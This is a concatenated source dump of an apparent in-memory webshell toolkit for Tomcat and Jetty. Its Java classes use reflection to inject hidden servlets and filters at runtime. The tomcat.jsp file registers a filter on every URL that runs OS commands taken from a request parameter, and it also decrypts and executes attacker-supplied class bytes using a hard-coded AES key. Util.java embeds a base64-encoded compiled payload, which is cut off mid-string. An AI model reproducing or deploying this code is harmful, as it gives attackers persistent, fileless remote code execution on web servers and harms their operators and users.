75 | try{
76 | sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
77 | field = sourceClazz.getDeclaredField("JAVAX_API");
78 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL);
79 | Method method = handler.getClass().getMethod("newServletHolder", sourceClazz);
80 | holder = method.invoke(handler, field.get(null));
81 | }catch(ClassNotFoundException e){
82 | sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");
83 | Method method = handler.getClass().getMethod("newServletHolder", sourceClazz);
84 | holder = method.invoke(handler, Enum.valueOf(sourceClazz, "JAVAX_API"));
85 | }
86 |
87 | holder.getClass().getMethod("setName", String.class).invoke(holder, servletName);
88 | Servlet servlet = new ServletTemplate();
89 | holder.getClass().getMethod("setServlet", Servlet.class).invoke(holder, servlet);
90 | handler.getClass().getMethod("addServlet", holder.getClass()).invoke(handler, holder);
91 |
92 | // ServletMapping mappingx = new ServletMapping(Source.JAVAX_API);
93 | // mappingx.setServletName(ServletHolder.this.getName());
94 | // mappingx.setPathSpecs(urlPatterns);
95 | // ServletHolder.this.getServletHandler().addServletMapping(mappingx);
96 |
97 | Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping");
98 | Object servletMapping = null;
99 | try{
100 | servletMapping = clazz.getDeclaredConstructor(sourceClazz).newInstance(field.get(null));
101 | }catch(NoSuchMethodException e){
102 | servletMapping = clazz.newInstance();
103 | }
104 |
105 | servletMapping.getClass().getMethod("setServletName", String.class).invoke(servletMapping, servletName);
106 | servletMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(servletMapping, new Object[]{new String[]{urlPattern}});
107 | handler.getClass().getMethod("addServletMapping", clazz).invoke(handler, servletMapping);
108 | }
109 | }catch(Exception e){
110 | //pass
111 | }
112 | }
113 | }catch(Exception e){
114 | e.printStackTrace();
115 | }
116 | }
117 | }
118 |
--------------------------------------------------------------------------------
/src/main/java/com/memshell/jetty/ServletBasedWithoutRequestVariant.java:
--------------------------------------------------------------------------------
1 | package com.memshell.jetty;
2 |
3 | import com.memshell.generic.Util;
4 | import com.sun.jmx.mbeanserver.JmxMBeanServer;
5 | import com.sun.jmx.mbeanserver.NamedObject;
6 | import com.sun.jmx.mbeanserver.Repository;
7 | import javax.management.ObjectName;
8 | import javax.servlet.Servlet;
9 | import javax.servlet.http.HttpServlet;
10 | import javax.servlet.http.HttpServletRequest;
11 | import javax.servlet.http.HttpServletResponse;
12 | import java.lang.management.ManagementFactory;
13 | import java.lang.reflect.Field;
14 | import java.lang.reflect.Method;
15 | import java.lang.reflect.Modifier;
16 | import java.util.Set;
17 |
18 | public class ServletBasedWithoutRequestVariant extends HttpServlet {
19 | @Override
20 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
21 | // 不管是这种方式拿到的 webAppContext 还是是通过 req.getServletContext() 拿到的 webAppContext
22 | // 他们的类加载器都是 startJarLoader,不同于 Thread.currentThread().getContextClassLoader()
23 | // 导致只能通过反射的方式完成整个步骤,否则就会抛 ClassNotFoundException 异常
24 |
25 | try{
26 | String servletName = "myServlet2";
27 | String urlPattern = "/yyy";
28 |
29 | JmxMBeanServer mBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer();
30 |
31 | Field field = mBeanServer.getClass().getDeclaredField("mbsInterceptor");
32 | field.setAccessible(true);
33 | Object obj = field.get(mBeanServer);
34 |
35 | field = obj.getClass().getDeclaredField("repository");
36 | field.setAccessible(true);
37 | Field modifier = field.getClass().getDeclaredField("modifiers");
38 | modifier.setAccessible(true);
39 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL);
40 | Repository repository = (Repository)field.get(obj);
41 |
42 | Set namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null);
43 | for(NamedObject namedObject : namedObjectSet){
44 | try{
45 | field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed");
46 | field.setAccessible(true);
47 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL);
48 | Object webAppContext = field.get(namedObject.getObject());
49 |
50 | field = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
51 | field.setAccessible(true);
52 | Object handler = field.get(webAppContext);
53 |
54 | field = handler.getClass().getDeclaredField("_servlets");
55 | field.setAccessible(true);
56 | Object[] objects = (Object[]) field.get(handler);
57 |
58 | boolean flag = false;
59 | for(Object o : objects){
60 | field = o.getClass().getSuperclass().getDeclaredField("_name");
61 | field.setAccessible(true);
62 | String name = (String)field.get(o);
63 | if(name.equals(servletName)){
64 | flag = true;
65 | break;
66 | }
67 | }
68 |
69 | if(!flag){
70 | System.out.println("[+] Add Dynamic Servlet");
71 |
72 | ClassLoader classLoader = handler.getClass().getClassLoader();
73 | Class sourceClazz = null;
74 | Object holder = null;
75 | try{
76 | sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
77 | field = sourceClazz.getDeclaredField("JAVAX_API");
78 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL);
79 | Method method = handler.getClass().getMethod("newServletHolder", sourceClazz);
80 | holder = method.invoke(handler, field.get(null));
81 | }catch(ClassNotFoundException e){
82 | sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");
83 | Method method = handler.getClass().getMethod("newServletHolder", sourceClazz);
84 | holder = method.invoke(handler, Enum.valueOf(sourceClazz, "JAVAX_API"));
85 | }
86 |
87 | holder.getClass().getMethod("setName", String.class).invoke(holder, servletName);
88 | Class clazz = Util.getDynamicServletTemplateClass();
89 | holder.getClass().getMethod("setServlet", Servlet.class).invoke(holder, clazz.newInstance());
90 | handler.getClass().getMethod("addServlet", holder.getClass()).invoke(handler, holder);
91 |
92 | // ServletMapping mappingx = new ServletMapping(Source.JAVAX_API);
93 | // mappingx.setServletName(ServletHolder.this.getName());
94 | // mappingx.setPathSpecs(urlPatterns);
95 | // ServletHolder.this.getServletHandler().addServletMapping(mappingx);
96 |
97 | clazz = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping");
98 | Object servletMapping = null;
99 | try{
100 | servletMapping = clazz.getDeclaredConstructor(sourceClazz).newInstance(field.get(null));
101 | }catch(NoSuchMethodException e){
102 | servletMapping = clazz.newInstance();
103 | }
104 |
105 | servletMapping.getClass().getMethod("setServletName", String.class).invoke(servletMapping, servletName);
106 | servletMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(servletMapping, new Object[]{new String[]{urlPattern}});
107 | handler.getClass().getMethod("addServletMapping", clazz).invoke(handler, servletMapping);
108 | }
109 | }catch(Exception e){
110 | //pass
111 | }
112 | }
113 | }catch(Exception e){
114 | e.printStackTrace();
115 | }
116 | }
117 | }
118 |
--------------------------------------------------------------------------------
/src/main/java/com/memshell/tomcat/FilterBasedWithoutRequestVariant.java:
--------------------------------------------------------------------------------
1 | package com.memshell.tomcat;
2 |
3 | import com.memshell.generic.Util;
4 | import com.sun.jmx.mbeanserver.NamedObject;
5 | import com.sun.jmx.mbeanserver.Repository;
6 | import org.apache.catalina.Context;
7 | import org.apache.catalina.core.ApplicationFilterConfig;
8 | import org.apache.catalina.core.StandardContext;
9 | import org.apache.tomcat.util.modeler.Registry;
10 | import javax.management.DynamicMBean;
11 | import javax.management.MBeanServer;
12 | import javax.management.ObjectName;
13 | import javax.servlet.DispatcherType;
14 | import javax.servlet.Filter;
15 | import javax.servlet.http.HttpServlet;
16 | import javax.servlet.http.HttpServletRequest;
17 | import javax.servlet.http.HttpServletResponse;
18 | import java.lang.reflect.Constructor;
19 | import java.lang.reflect.Field;
20 | import java.util.HashMap;
21 | import java.util.Set;
22 |
23 | public class FilterBasedWithoutRequestVariant extends HttpServlet {
24 | @Override
25 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
26 | // 参考:
27 | // 《Tomcat源代码调试:看不见的Shell第一式》 https://www.freebuf.com/articles/web/151431.html
28 | // 《基于tomcat的内存 Webshell 无文件攻击技术》 https://xz.aliyun.com/t/7388
29 | // 《动态注册之Servlet+Filter+Listener》 https://www.jianshu.com/p/cbe1c3174d41
30 | // 《基于Tomcat无文件Webshell研究》 https://mp.weixin.qq.com/s/whOYVsI-AkvUJTeeDWL5dA
31 | // 《tomcat不出网回显连续剧第六集》 https://xz.aliyun.com/t/7535
32 | // 《tomcat结合shiro无文件webshell的技术研究以及检测方法》 https://mp.weixin.qq.com/s/fFYTRrSMjHnPBPIaVn9qMg
33 | //
34 | // 适用范围: Tomcat 7 ~ 9
35 |
36 | try{
37 | String filterName = "dynamic3";
38 | String urlPattern = "/ccc";
39 |
40 | MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
41 | Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
42 | field.setAccessible(true);
43 | Object obj = field.get(mbeanServer);
44 |
45 | field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
46 | field.setAccessible(true);
47 | Repository repository = (Repository) field.get(obj);
48 |
49 | Set objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
50 | for(NamedObject namedObject : objectSet){
51 | try{
52 | DynamicMBean dynamicMBean = namedObject.getObject();
53 | field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
54 | field.setAccessible(true);
55 | obj = field.get(dynamicMBean);
56 |
57 | field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
58 | field.setAccessible(true);
59 | StandardContext standardContext = (StandardContext)field.get(obj);
60 |
61 | field = standardContext.getClass().getDeclaredField("filterConfigs");
62 | field.setAccessible(true);
63 | HashMap map = (HashMap) field.get(standardContext);
64 |
65 | if(map.get(filterName) == null) {
66 | System.out.println("[+] Add Dynamic Filter");
67 |
68 | //生成 FilterDef
69 | //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写
70 | Class filterDefClass = null;
71 | try {
72 | filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");
73 | } catch (ClassNotFoundException e) {
74 | filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
75 | }
76 |
77 | Object filterDef = filterDefClass.newInstance();
78 | filterDef.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterDef, filterName);
79 |
80 | Class clazz = Util.getDynamicFilterTemplateClass();
81 | filterDef.getClass().getDeclaredMethod("setFilterClass", String.class).invoke(filterDef, clazz.getName());
82 | filterDef.getClass().getDeclaredMethod("setFilter", Filter.class).invoke(filterDef, clazz.newInstance());
83 | standardContext.getClass().getDeclaredMethod("addFilterDef", filterDefClass).invoke(standardContext, filterDef);
84 |
85 | //设置 FilterMap
86 | //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写
87 | Class filterMapClass = null;
88 | try {
89 | filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap");
90 | } catch (ClassNotFoundException e) {
91 | filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
92 | }
93 |
94 | //使用 addFilterMapBefore 会自动把我们创建的 filterMap 丢到第一位去,无需在手动排序了
95 | //其他中间件应该也是类似的
96 | Object filterMap = filterMapClass.newInstance();
97 | filterMap.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterMap, filterName);
98 | filterMap.getClass().getDeclaredMethod("setDispatcher", String.class).invoke(filterMap, DispatcherType.REQUEST.name());
99 | filterMap.getClass().getDeclaredMethod("addURLPattern", String.class).invoke(filterMap, urlPattern);
100 | standardContext.getClass().getDeclaredMethod("addFilterMapBefore", filterMapClass).invoke(standardContext, filterMap);
101 |
102 | //设置 FilterConfig
103 | Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDefClass);
104 | constructor.setAccessible(true);
105 | ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
106 | map.put(filterName, filterConfig);
107 | }
108 | }catch(Exception e){
109 | //pass
110 | }
111 | }
112 | }catch(Exception e){
113 | e.printStackTrace();
114 | }
115 | }
116 | }
--------------------------------------------------------------------------------
/src/main/java/com/memshell/tomcat/FilterBasedWithoutRequest.java:
--------------------------------------------------------------------------------
1 | package com.memshell.tomcat;
2 |
3 | import com.memshell.generic.FilterTemplate;
4 | import com.sun.jmx.mbeanserver.NamedObject;
5 | import com.sun.jmx.mbeanserver.Repository;
6 | import org.apache.catalina.Context;
7 | import org.apache.catalina.core.ApplicationFilterConfig;
8 | import org.apache.catalina.core.StandardContext;
9 | import org.apache.tomcat.util.modeler.Registry;
10 | import javax.management.DynamicMBean;
11 | import javax.management.MBeanServer;
12 | import javax.management.ObjectName;
13 | import javax.servlet.*;
14 | import javax.servlet.http.HttpServlet;
15 | import javax.servlet.http.HttpServletRequest;
16 | import javax.servlet.http.HttpServletResponse;
17 | import java.lang.reflect.Constructor;
18 | import java.lang.reflect.Field;
19 | import java.util.*;
20 |
21 | public class FilterBasedWithoutRequest extends HttpServlet {
22 | @Override
23 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
24 | // 参考:
25 | // 《Tomcat源代码调试:看不见的Shell第一式》 https://www.freebuf.com/articles/web/151431.html
26 | // 《基于tomcat的内存 Webshell 无文件攻击技术》 https://xz.aliyun.com/t/7388
27 | // 《动态注册之Servlet+Filter+Listener》 https://www.jianshu.com/p/cbe1c3174d41
28 | // 《基于Tomcat无文件Webshell研究》 https://mp.weixin.qq.com/s/whOYVsI-AkvUJTeeDWL5dA
29 | // 《tomcat不出网回显连续剧第六集》 https://xz.aliyun.com/t/7535
30 | // 《tomcat结合shiro无文件webshell的技术研究以及检测方法》 https://mp.weixin.qq.com/s/fFYTRrSMjHnPBPIaVn9qMg
31 | //
32 | // 适用范围: Tomcat 7 ~ 9
33 |
34 | try{
35 | String filterName = "dynamic2";
36 | String urlPattern = "/bbb";
37 |
38 | MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
39 | Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
40 | field.setAccessible(true);
41 | Object obj = field.get(mbeanServer);
42 |
43 | field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
44 | field.setAccessible(true);
45 | Repository repository = (Repository) field.get(obj);
46 |
47 | Set objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
48 | Iterator iterator = objectSet.iterator();
49 | while(iterator.hasNext()) {
50 | try{
51 | DynamicMBean dynamicMBean = iterator.next().getObject();
52 | field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
53 | field.setAccessible(true);
54 | obj = field.get(dynamicMBean);
55 |
56 | field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
57 | field.setAccessible(true);
58 | StandardContext standardContext = (StandardContext) field.get(obj);
59 |
60 | field = standardContext.getClass().getDeclaredField("filterConfigs");
61 | field.setAccessible(true);
62 | HashMap map = (HashMap) field.get(standardContext);
63 |
64 | if(map.get(filterName) == null){
65 | System.out.println("[+] Add Dynamic Filter");
66 |
67 | //生成 FilterDef
68 | //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写
69 | Class filterDefClass = null;
70 | try{
71 | filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");
72 | }catch(ClassNotFoundException e){
73 | filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
74 | }
75 |
76 | Object filterDef = filterDefClass.newInstance();
77 | filterDef.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterDef, new Object[]{filterName});
78 | Filter filter = new FilterTemplate();
79 |
80 | filterDef.getClass().getDeclaredMethod("setFilterClass", new Class[]{String.class}).invoke(filterDef, new Object[]{filter.getClass().getName()});
81 | filterDef.getClass().getDeclaredMethod("setFilter", new Class[]{Filter.class}).invoke(filterDef, new Object[]{filter});
82 | standardContext.getClass().getDeclaredMethod("addFilterDef", new Class[]{filterDefClass}).invoke(standardContext, new Object[]{filterDef});
83 |
84 | //设置 FilterMap
85 | //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写
86 | Class filterMapClass = null;
87 | try {
88 | filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap");
89 | } catch (ClassNotFoundException e) {
90 | filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
91 | }
92 |
93 | Object filterMap = filterMapClass.newInstance();
94 | filterMap.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterMap, new Object[]{filterName});
95 | filterMap.getClass().getDeclaredMethod("setDispatcher", new Class[]{String.class}).invoke(filterMap, new Object[]{DispatcherType.REQUEST.name()});
96 | filterMap.getClass().getDeclaredMethod("addURLPattern", new Class[]{String.class}).invoke(filterMap, new Object[]{urlPattern});
97 | //调用 addFilterMapBefore 会自动加到队列的最前面,不需要原来的手工去调整顺序了
98 | standardContext.getClass().getDeclaredMethod("addFilterMapBefore", new Class[]{filterMapClass}).invoke(standardContext, new Object[]{filterMap});
99 |
100 | //设置 FilterConfig
101 | Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(new Class[]{Context.class, filterDefClass});
102 | constructor.setAccessible(true);
103 | ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(new Object[]{standardContext, filterDef});
104 | map.put(filterName, filterConfig);
105 | }
106 | }catch(Exception e){
107 | //pass
108 | }
109 | }
110 | }catch(Exception e){
111 | e.printStackTrace();
112 | }
113 | }
114 | }
--------------------------------------------------------------------------------
/src/main/webapp/tomcat.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.lang.reflect.Field" %>
2 | <%@ page import="org.apache.catalina.core.ApplicationContext" %>
3 | <%@ page import="java.lang.reflect.Modifier" %>
4 | <%@ page import="org.apache.catalina.core.StandardContext" %>
5 | <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
6 | <%@ page import="java.util.HashMap" %>
7 | <%@ page import="java.io.IOException" %>
8 | <%@ page import="java.util.Scanner" %>
9 | <%@ page import="java.util.UUID" %>
10 | <%@ page import="javax.crypto.Cipher" %>
11 | <%@ page import="javax.crypto.spec.SecretKeySpec" %>
12 | <%@ page import="java.lang.reflect.Method" %>
13 | <%@ page import="java.lang.reflect.Constructor" %>
14 | <%@ page import="org.apache.catalina.Context" %>
15 | <%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" %>
16 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
17 | <%
18 | try{
19 |
20 | String filterName = "dynamic1";
21 | String urlPattern = "/*";
22 | final String password = "pass";
23 |
24 | // 获取 standardContext
25 | final ServletContext servletContext = request.getSession().getServletContext();
26 |
27 | Field field = servletContext.getClass().getDeclaredField("context");
28 | field.setAccessible(true);
29 | ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext);
30 |
31 | field = applicationContext.getClass().getDeclaredField("context");
32 | field.setAccessible(true);
33 | Field modifiersField = Field.class.getDeclaredField("modifiers");
34 | modifiersField.setAccessible(true);
35 | modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
36 | StandardContext standardContext = (StandardContext) field.get(applicationContext);
37 |
38 | field = standardContext.getClass().getDeclaredField("filterConfigs");
39 | field.setAccessible(true);
40 | HashMap map = (HashMap) field.get(standardContext);
41 |
42 | if(map.get(filterName) == null){
43 | System.out.println("[+] Add Dynamic Filter");
44 |
45 | //生成 FilterDef
46 | //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写
47 | Class filterDefClass = null;
48 | try{
49 | filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");
50 | }catch(ClassNotFoundException e){
51 | filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
52 | }
53 |
54 | Object filterDef = filterDefClass.newInstance();
55 | filterDef.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterDef, new Object[]{filterName});
56 | Filter filter = new Filter() {
57 | @Override
58 | public void init(FilterConfig filterConfig) throws ServletException {
59 |
60 | }
61 |
62 | @Override
63 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
64 | System.out.println("[+] Dynamic Filter says hello");
65 |
66 | String type = servletRequest.getParameter("type");
67 | if(type != null && type.equals("basic")){
68 | String cmd = servletRequest.getParameter(password);
69 | if(cmd != null && !cmd.isEmpty()){
70 | String result = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
71 | servletResponse.getWriter().println(result);
72 | }
73 | }else if(((HttpServletRequest)servletRequest).getHeader("X-Options-Ai") != null){
74 | try{
75 | if (((HttpServletRequest)servletRequest).getMethod().equals("POST")) {
76 | String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
77 | ((HttpServletRequest)servletRequest).getSession().setAttribute("u",k);
78 | Cipher cipher = Cipher.getInstance("AES");
79 | cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES"));
80 | byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(servletRequest.getReader().readLine()));
81 | Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes);
82 | Object evilObject = evilClass.newInstance();
83 | Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class});
84 | targetMethod.invoke(evilObject, new Object[]{servletRequest, servletResponse});
85 | }
86 | }catch(Exception e){
87 | e.printStackTrace();
88 | }
89 | }else{
90 | filterChain.doFilter(servletRequest, servletResponse);
91 | }
92 | }
93 |
94 | @Override
95 | public void destroy() {
96 |
97 | }
98 |
99 | class U extends ClassLoader{
100 | U(ClassLoader c){super(c);}
101 |
102 | public Class g(byte []b){return super.defineClass(b,0,b.length);}
103 | }
104 | };
105 |
106 |
107 | filterDef.getClass().getDeclaredMethod("setFilterClass", new Class[]{String.class}).invoke(filterDef, new Object[]{filter.getClass().getName()});
108 | filterDef.getClass().getDeclaredMethod("setFilter", new Class[]{Filter.class}).invoke(filterDef, new Object[]{filter});
109 | standardContext.getClass().getDeclaredMethod("addFilterDef", new Class[]{filterDefClass}).invoke(standardContext, new Object[]{filterDef});
110 |
111 | //设置 FilterMap
112 | //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写
113 | Class filterMapClass = null;
114 | try{
115 | filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap");
116 | }catch (ClassNotFoundException e){
117 | filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
118 | }
119 |
120 | Object filterMap = filterMapClass.newInstance();
121 | filterMap.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterMap, new Object[]{filterName});
122 | filterMap.getClass().getDeclaredMethod("setDispatcher", new Class[]{String.class}).invoke(filterMap, new Object[]{DispatcherType.REQUEST.name()});
123 | filterMap.getClass().getDeclaredMethod("addURLPattern", new Class[]{String.class}).invoke(filterMap, new Object[]{urlPattern});
124 | //调用 addFilterMapBefore 会自动加到队列的最前面,不需要原来的手工去调整顺序了
125 | standardContext.getClass().getDeclaredMethod("addFilterMapBefore", new Class[]{filterMapClass}).invoke(standardContext, new Object[]{filterMap});
126 |
127 | //设置 FilterConfig
128 | Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(new Class[]{Context.class, filterDefClass});
129 | constructor.setAccessible(true);
130 | ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(new Object[]{standardContext, filterDef});
131 | map.put(filterName, filterConfig);
132 | }
133 | }catch(Exception e){
134 | e.printStackTrace();
135 | }
136 | %>
137 |
--------------------------------------------------------------------------------
/src/main/java/com/memshell/generic/Util.java:
--------------------------------------------------------------------------------
1 | package com.memshell.generic;
2 |
3 | import sun.misc.BASE64Decoder;
4 | import java.io.IOException;
5 | import java.lang.reflect.InvocationTargetException;
6 | import java.lang.reflect.Method;
7 |
8 | public class Util {
9 | public static Class getDynamicFilterTemplateClass() throws IOException, InvocationTargetException, IllegalAccessException {
10 | ClassLoader cl = Thread.currentThread().getContextClassLoader();
11 | Class clazz;
12 | try{
13 | clazz = cl.loadClass("com.memshell.generic.DynamicFilterTemplate");
14 | }catch(ClassNotFoundException e){
15 | BASE64Decoder base64Decoder = new BASE64Decoder();
16 | String codeClass = "yv66vgAAADIBWQoAPwChCgBaAKIJAKMApAgApQoApgCnCACoCwBFAKkIAKoKAA4AqwoArACtCgAOAK4JAK8AsAgAsQcAsggAswgAtAgAcQgAtQcAtgoAtwC4CgC3ALkKALoAuwoAEwC8CAC9CgATAL4KABMAvwsARgDACgDBAKcHAMIKAKwAwwsAHQDECwAdAMUIAMYKAKwAxwsAHQDICADJCwDKAMsIAMwKAM0AzgcAzwcA0AoAKQChCwDKANEKACkA0ggA0woAKQDUCgApANUKAA4A1goAKADXCgDNANgHANkKADMAoQsARQDaCgDbANwKADMA3QoAzQDeCQBaAN8IAOAHAOEHAHYHAOIKADsA4wcA5AoA5QDmCgDlAOcKAOgA6QoAOwDqCADrBwDsBwDtBwDuCgBHAO8LAPAA8QgA8goAPQDzBwD0CgA/APUJAPYA9wcA+AoAOwD5CAD6CgDoAPsKAPYA/AcA/QoAVADvBwD+CgBWAO8HAP8KAFgA7wcBAAcBAQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACxMY29tL21lbXNoZWxsL2dlbmVyaWMvRHluYW1pY0ZpbHRlclRlbXBsYXRlOwEABGluaXQBAB8oTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOylWAQAMZmlsdGVyQ29uZmlnAQAcTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOwEACkV4Y2VwdGlvbnMHAQIBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAA2NtZAEAAWsBAAZjaXBoZXIBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAA5ldmlsQ2xhc3NCeXRlcwEAAltCAQAJZXZpbENsYXNzAQAKZXZpbE9iamVjdAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADHRhcmdldE1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADnNlcnZsZXRSZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQANU3RhY2tNYXBUYWJsZQcAsgcAbgcA7gEAB2Rlc3Ryb3kBAAppbml0aWFsaXplAQACZXgBACFMamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbjsBAAVjbGF6egEABm1ldGhvZAEABGNvZGUBAAVieXRlcwEAIkxqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbjsBAAtjbGFzc0xvYWRlcgEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEALUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uOwcBAAcA4gcA9AcA4QcBAwcA+AcA/QcA/gcA/wEAClNvdXJjZUZpbGUBABpEeW5hbWljRmlsdGVyVGVtcGxhdGUuamF2YQwAXgBfDACJAF8HAQQMAQUBBgEAHVsrXSBEeW5hbWljIEZpbHRlciBzYXlzIGhlbGxvBwEHDAEIAQkBAAR0eXBlDAEKAQsBAAViYXNpYwwA6wEMBwENDAEOAQ8MARABEQcBEgwBEwBwAQABLwEAEGphdmEvbGFuZy9TdHJpbmcBAAcvYmluL3NoAQACLWMBAAIvQwEAEWphdmEvdXRpbC9TY2FubmVyBwEUDAEVARYMARcBGAcBGQwBGgEbDABeARwBAAJcQQwBHQEeDAEfAQ8MASABIQcBIgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QMASMBDwwBIwELDAEkAQ8BAARQT1NUDAElAQ8MASYBJwEAAXUHASgMASkBKgEAA0FFUwcBKwwBLAEtAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAEuAS8MATABMQEAAAwBMAEyDAEzAQ8MATQBNQwAXgE2DABlATcBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDAE4ATkHAToMATsBDwwBPAE9DAE+AT8MAFwAXQEAC2RlZmluZUNsYXNzAQAPamF2